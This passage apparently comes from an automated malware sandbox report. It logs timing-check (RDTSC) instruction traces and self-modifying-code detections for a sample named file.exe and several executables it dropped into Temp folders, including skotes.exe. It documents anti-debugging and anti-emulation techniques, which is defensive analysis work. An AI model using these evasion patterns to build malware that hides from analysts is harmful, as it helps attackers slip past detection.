Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10B16 second address: 4B10B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10B1C second address: 4B10B87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F06147E6006h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 call 00007F06147E5FFEh 0x00000015 movzx ecx, dx 0x00000018 pop edx 0x00000019 mov eax, 48C89C33h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F06147E6006h 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F06147E6007h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B905F5 second address: 4B905FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B905FB second address: 4B9061D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6004h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, si 0x00000010 push esi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B9061D second address: 4B90631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B809A9 second address: 4B809AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B809AF second address: 4B80A0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F061450AC39h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F061450AC2Eh 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F061450AC37h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B807E1 second address: 4B807E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B807E5 second address: 4B807EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B807EB second address: 4B80852 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6004h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F06147E5FFBh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F06147E6006h 0x00000015 mov ebp, esp 0x00000017 jmp 00007F06147E6000h 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F06147E6007h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B201C8 second address: 4B201F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F061450AC2Dh 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B201F1 second address: 4B201F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B201F7 second address: 4B201FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B201FB second address: 4B2021D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop ebx 0x0000000c mov dl, al 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F06147E6000h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B2021D second address: 4B20242 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F061450AC30h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20242 second address: 4B20251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20251 second address: 4B20257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20257 second address: 4B2025B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B2025B second address: 4B2025F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B80CF2 second address: 4B80CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B80CF6 second address: 4B80CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B305FD second address: 4B3066A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6005h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F06147E5FFCh 0x00000010 pushfd 0x00000011 jmp 00007F06147E6002h 0x00000016 adc al, 00000058h 0x00000019 jmp 00007F06147E5FFBh 0x0000001e popfd 0x0000001f pop ecx 0x00000020 mov al, bh 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007F06147E6000h 0x0000002a push FFFFFFFEh 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov ebx, 0A219AD0h 0x00000034 mov si, dx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3066A second address: 4B30670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30670 second address: 4B306F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 5065A51Dh 0x00000010 pushad 0x00000011 jmp 00007F06147E6007h 0x00000016 popad 0x00000017 add dword ptr [esp], 26941AFBh 0x0000001e jmp 00007F06147E6002h 0x00000023 push 2B22A6CBh 0x00000028 pushad 0x00000029 mov cx, di 0x0000002c mov dh, 89h 0x0000002e popad 0x0000002f xor dword ptr [esp], 5DD208CBh 0x00000036 jmp 00007F06147E6002h 0x0000003b mov eax, dword ptr fs:[00000000h] 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F06147E5FFAh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B306F2 second address: 4B306F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B306F8 second address: 4B30742 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F06147E5FFAh 0x0000000b or ah, 00000068h 0x0000000e jmp 00007F06147E5FFBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 nop 0x00000018 jmp 00007F06147E6006h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F06147E5FFEh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30742 second address: 4B307B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F061450AC36h 0x0000000f sub esp, 1Ch 0x00000012 jmp 00007F061450AC30h 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 mov si, CB5Dh 0x0000001d push ecx 0x0000001e push ebx 0x0000001f pop eax 0x00000020 pop edi 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F061450AC2Bh 0x00000028 xchg eax, ebx 0x00000029 jmp 00007F061450AC36h 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B307B0 second address: 4B307CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6009h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B307CD second address: 4B30864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F061450AC37h 0x00000009 and eax, 0EAD743Eh 0x0000000f jmp 00007F061450AC39h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F061450AC2Dh 0x00000020 xchg eax, esi 0x00000021 jmp 00007F061450AC2Eh 0x00000026 xchg eax, edi 0x00000027 pushad 0x00000028 mov dx, cx 0x0000002b pushfd 0x0000002c jmp 00007F061450AC2Ah 0x00000031 or ecx, 0B9A8398h 0x00000037 jmp 00007F061450AC2Bh 0x0000003c popfd 0x0000003d popad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F061450AC34h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30864 second address: 4B30876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30876 second address: 4B3087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3087A second address: 4B308BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 pushad 0x0000000a mov edi, 7DCAD140h 0x0000000f movsx edi, cx 0x00000012 popad 0x00000013 mov eax, dword ptr [76FBB370h] 0x00000018 jmp 00007F06147E6000h 0x0000001d xor dword ptr [ebp-08h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F06147E6007h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B308BE second address: 4B308C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B308C4 second address: 4B308C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B308C8 second address: 4B308CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B308CC second address: 4B308FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a jmp 00007F06147E5FFCh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F06147E6007h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B308FC second address: 4B30902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30902 second address: 4B30906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30906 second address: 4B30925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, ebx 0x0000000e call 00007F061450AC2Fh 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30925 second address: 4B3092B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3092B second address: 4B3092F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3092F second address: 4B309E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a call 00007F06147E5FFAh 0x0000000f jmp 00007F06147E6002h 0x00000014 pop eax 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp-10h] 0x00000019 pushad 0x0000001a mov ebx, 2C37214Eh 0x0000001f call 00007F06147E5FFFh 0x00000024 jmp 00007F06147E6008h 0x00000029 pop ecx 0x0000002a popad 0x0000002b mov dword ptr fs:[00000000h], eax 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F06147E6007h 0x00000038 sbb ch, 0000000Eh 0x0000003b jmp 00007F06147E6009h 0x00000040 popfd 0x00000041 mov cx, 1D17h 0x00000045 popad 0x00000046 mov esi, dword ptr [ebp+08h] 0x00000049 pushad 0x0000004a mov bl, al 0x0000004c mov esi, ebx 0x0000004e popad 0x0000004f mov eax, dword ptr [esi+10h] 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F06147E5FFAh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B309E2 second address: 4B30AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov esi, 59F8960Bh 0x00000011 pushfd 0x00000012 jmp 00007F061450AC30h 0x00000017 adc ax, E018h 0x0000001c jmp 00007F061450AC2Bh 0x00000021 popfd 0x00000022 popad 0x00000023 jne 00007F0686899F2Eh 0x00000029 pushad 0x0000002a mov edx, eax 0x0000002c jmp 00007F061450AC30h 0x00000031 popad 0x00000032 sub eax, eax 0x00000034 pushad 0x00000035 call 00007F061450AC37h 0x0000003a pushfd 0x0000003b jmp 00007F061450AC38h 0x00000040 add ax, B408h 0x00000045 jmp 00007F061450AC2Bh 0x0000004a popfd 0x0000004b pop ecx 0x0000004c mov di, BA4Ch 0x00000050 popad 0x00000051 mov dword ptr [ebp-20h], eax 0x00000054 jmp 00007F061450AC2Bh 0x00000059 mov ebx, dword ptr [esi] 0x0000005b pushad 0x0000005c mov cx, B58Bh 0x00000060 pushad 0x00000061 pushad 0x00000062 popad 0x00000063 mov cx, 4B03h 0x00000067 popad 0x00000068 popad 0x00000069 mov dword ptr [ebp-24h], ebx 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f pushad 0x00000070 popad 0x00000071 call 00007F061450AC31h 0x00000076 pop ecx 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30AB9 second address: 4B30ACA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30ACA second address: 4B30B16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ebx, ebx 0x0000000a jmp 00007F061450AC2Dh 0x0000000f je 00007F0686899DC2h 0x00000015 pushad 0x00000016 call 00007F061450AC2Ch 0x0000001b mov ax, 3BB1h 0x0000001f pop ecx 0x00000020 mov cx, bx 0x00000023 popad 0x00000024 cmp ebx, FFFFFFFFh 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F061450AC34h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30188 second address: 4B30197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30197 second address: 4B301AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC34h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 7F1D9 second address: 7F1EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFFh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1EA738 second address: 1EA749 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F061450AC26h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1EA749 second address: 1EA757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1EA757 second address: 1EA75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1FF1EF second address: 1FF237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F06147E5FFDh 0x0000000d popad 0x0000000e jng 00007F06147E6002h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F06147E5FF6h 0x0000001d jmp 00007F06147E6000h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1FF237 second address: 1FF23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1FF23B second address: 1FF25E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6006h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1FF25E second address: 1FF283 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F061450AC28h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1FF40B second address: 1FF41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F06147E5FF6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1FF41D second address: 1FF443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jg 00007F061450AC4Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F061450AC38h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1FF443 second address: 1FF447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1FF583 second address: 1FF58E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F061450AC26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1FF86B second address: 1FF875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F06147E5FF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 202520 second address: 202524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 202992 second address: 20299C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F06147E5FFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 20299C second address: 2029D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F061450AC2Ah 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F061450AC30h 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 jmp 00007F061450AC32h 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 214303 second address: 214309 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 214309 second address: 21430F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 21430F second address: 214313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 224078 second address: 22407F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe RDTSC instruction interceptor: First address: 1F62E1 second address: 1F62EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F06147E5FF6h 0x0000000a rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 1EEA31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 1EEA71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 399C99 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 423560 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 7EA31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 7EA71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 229C99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 2B3560 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Special instruction interceptor: First address: 15D4B28 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Special instruction interceptor: First address: 177E681 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Special instruction interceptor: First address: 15D256E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Special instruction interceptor: First address: B8CA2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Special instruction interceptor: First address: D24E60 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Special instruction interceptor: First address: D24B1B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Special instruction interceptor: First address: D3A621 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Special instruction interceptor: First address: DADBDA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Special instruction interceptor: First address: 51E030 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Special instruction interceptor: First address: 51C827 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Special instruction interceptor: First address: 546C4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Special instruction interceptor: First address: 5B2B54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Special instruction interceptor: First address: 4FDC53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Special instruction interceptor: First address: 6AFBF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Special instruction interceptor: First address: 744D22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Special instruction interceptor: First address: 5018DC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Special instruction interceptor: First address: 62EDC53 instructions caused by: Self-modifying code
